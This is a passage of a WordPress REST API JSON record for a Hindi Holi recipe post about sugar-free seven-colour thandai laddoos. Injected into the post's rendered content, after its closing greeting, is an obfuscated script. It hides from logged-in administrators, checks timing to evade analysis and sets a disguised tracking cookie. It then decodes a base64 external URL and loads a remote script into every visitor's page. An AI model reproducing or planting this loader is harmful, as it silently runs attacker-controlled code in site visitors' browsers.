\u0938\u0902\u0917\u092e \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0930\u0902\u0917\u094b\u0902 \u0915\u0947 \u0907\u0938 \u092a\u0930\u094d\u0935 \u092a\u0930 \u091c\u092c \u0906\u092a \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u092e\u093f\u0920\u093e\u0938 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0938\u093e\u092e\u0917\u094d\u0930\u0940 \u0938\u0947 \u092c\u0928\u0940 \u092e\u093f\u0920\u093e\u0908 \u092a\u0930\u094b\u0938\u0947\u0902\u0917\u0947, \u0924\u094b \u0928 \u0938\u093f\u0930\u094d\u092b \u092e\u0947\u0939\u092e\u093e\u0928 \u0916\u0941\u0936 \u0939\u094b\u0902\u0917\u0947 \u092c\u0932\u094d\u0915\u093f \u0906\u092a\u0915\u093e \u0936\u0930\u0940\u0930 \u092d\u0940 \u0927\u0928\u094d\u092f\u0935\u093e\u0926 \u0926\u0947\u0917\u093e\u0964<\/p>\n\n\n\n<p>\u0907\u0938 \u092c\u093e\u0930 \u0939\u094b\u0932\u0940 \u092e\u0928\u093e\u090f\u0902 \u0938\u094d\u0935\u093e\u0926 \u0914\u0930 \u0938\u0947\u0939\u0924 \u0915\u0947 \u0938\u093e\u0925\u0964 \ud83c\udf38<\/p>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u0939\u094b\u0932\u0940 2026 \u0915\u0947 \u0932\u093f\u090f 7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940\u0964 \u092c\u093f\u0928\u093e \u092e\u0948\u0926\u093e, \u092c\u093f\u0928\u093e \u0930\u093f\u092b\u093e\u0907\u0902\u0921 \u0936\u0941\u0917\u0930, \u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f \u0914\u0930 \u0917\u0941\u0921\u093c \u0938\u0947 \u092c\u0928\u0940 \u092f\u0939 \u0939\u094b\u0932\u0940 \u0938\u094d\u092a\u0947\u0936\u0932 \u092e\u093f\u0920\u093e\u0908 \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u0942\u0938\u094d\u091f\u0930 \u0914\u0930 \u0907\u092e\u094d\u092f\u0941\u0928\u093f\u091f\u0940 \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940 \u0939\u0948\u0964 \u091c\u093e\u0928\u0947\u0902 \u0938\u093e\u092e\u0917\u094d\u0930\u0940, \u0935\u0948\u091c\u094d\u091e\u093e\u0928\u093f\u0915 \u0935\u093f\u0927\u093f, \u092b\u093e\u092f\u0926\u0947, FAQ \u0914\u0930 \u0938\u094d\u091f\u094b\u0930\u0947\u091c \u091f\u093f\u092a\u094d\u0938\u0964 \u0939\u094b\u0932\u0940 2026 \u0938\u094d\u092a\u0947\u0936\u0932 \u2013 7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940 7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 &#8230; <a title=\"7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940 | Holi Special No Sugar Energy Booster Sweet\" class=\"read-more\" href=\"https:\/\/simplereceipes.in\/en\/7-%e0%a4%b0%e0%a4%82%e0%a4%97%e0%a5%8b%e0%a4%82-%e0%a4%b5%e0%a4%be%e0%a4%b2%e0%a5%80-%e0%a4%b9%e0%a5%87%e0%a4%b2%e0%a5%8d%e0%a4%a6%e0%a5%80-%e0%a4%a0%e0%a4%82%e0%a4%a1%e0%a4%be%e0%a4%88-%e0%a4%b2\/\" aria-label=\"Read more about 7 \u0930\u0902\u0917\u094b\u0902 \u0935\u093e\u0932\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0920\u0902\u0921\u093e\u0908 \u0932\u0921\u094d\u0921\u0942 \u0930\u0947\u0938\u093f\u092a\u0940 | Holi Special No Sugar Energy Booster Sweet\">Read more<\/a><\/p>","protected":false},"author":1,"featured_media":840,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-836","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-receipes"],"_links":{"self":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/836","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/comments?post=836"}],"version-history":[{"count":4,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/836\/revisions"}],"predecessor-version":[{"id":943,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/836\/revisions\/943"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media\/840"}],"wp:attachment":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media?parent=836"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/categories?post=836"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/tags?post=836"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}